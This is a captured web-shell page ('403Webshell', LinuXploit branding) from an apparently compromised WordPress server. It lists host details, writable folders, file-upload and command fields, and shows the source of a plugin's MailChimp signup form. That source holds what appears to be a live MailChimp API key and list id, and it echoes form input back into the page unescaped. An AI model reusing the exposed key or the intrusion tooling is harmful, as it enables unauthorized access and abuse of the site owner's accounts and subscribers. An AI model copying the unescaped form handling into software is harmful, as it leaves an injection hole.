403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tgnew/wp-content/plugins/lcs-tg-custom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tgnew/wp-content/plugins/lcs-tg-custom/lcs-mailchimp-sticky-form.php
<?php
	$signed_up = false;
	if ($_POST['lcs_sticky_submitted'] == '1') :
		$_POST = array_map('strip_tags', $_POST);
		$_POST = array_map('trim', $_POST);
		if (!empty($_POST['hpot'])) :
			die('Not Authorized!');
		endif;
		if (!empty($_POST['zip']) && !empty($_POST['email']) && filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) :
			//***************** update MailChimp ****************
			require_once('mailchimp/mailchimp.php');
			$mailchimp = new \Drewm\MailChimp('bf6ca6cbb0b3a143deeb9dc09671d9d8-us9');
			$result = $mailchimp->call('lists/subscribe', array(
							'id'                => 'fb1566b5b7',
							'email'             => array('email'=>$_POST['email']),
							'merge_vars'        => array(
															'MMERGE9'=>$_POST['zip'], 
															'MMERGE7'=>'footer_sticky_form', 
														),
							'double_optin'      => true,
							'update_existing'   => true,
							'replace_interests' => false,
							'send_welcome'      => true,
						));
			//var_dump($result);
			if ($result['status'] == 'error') :
				$form_message = '<span style="color:red;">Error! '.$result['error'].'</span>';
			else :
				$form_message .= '<span style="color:green;">Successfully added to list.  Please check your email for verification instructions.  Thank you!</span>';
				$signed_up = true;
			endif;
			//***************************************************
	/*
	*/
		else :
			$form_message = '<span style="color:red;">Errors found! Please fill in all required fields.</span>';
		endif;
		echo $form_message;
	endif;
	if (!$signed_up) :
?>
		<form id="lcs_mailchimp_sticky_form" method="post" onsubmit="return lcs_mailchimp_sticky_submit('<?php echo $submit_url; ?>')">
			<input type="hidden" name="lcs_sticky_submitted" value="1" />
			<input type="hidden" name="hpot" value="" />
			<label for="email">Email Address</label>
			<input name="email" placeholder="" required="required" type="email" value="<?php echo $_POST['email']; ?>" />
			<label for="zip">Zip Code</label>
			<input name="zip" placeholder="" required="required" type="text" value="<?php echo $_POST['zip']; ?>" />
			<button id="lcs_mailchimp_sticky_submit_button" type="submit">SIGN ME UP</button>
			<div id="lcs_mailchimp_sticky_submit_busy">
				Please wait...
			</div>
		</form>
<?php
	endif;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit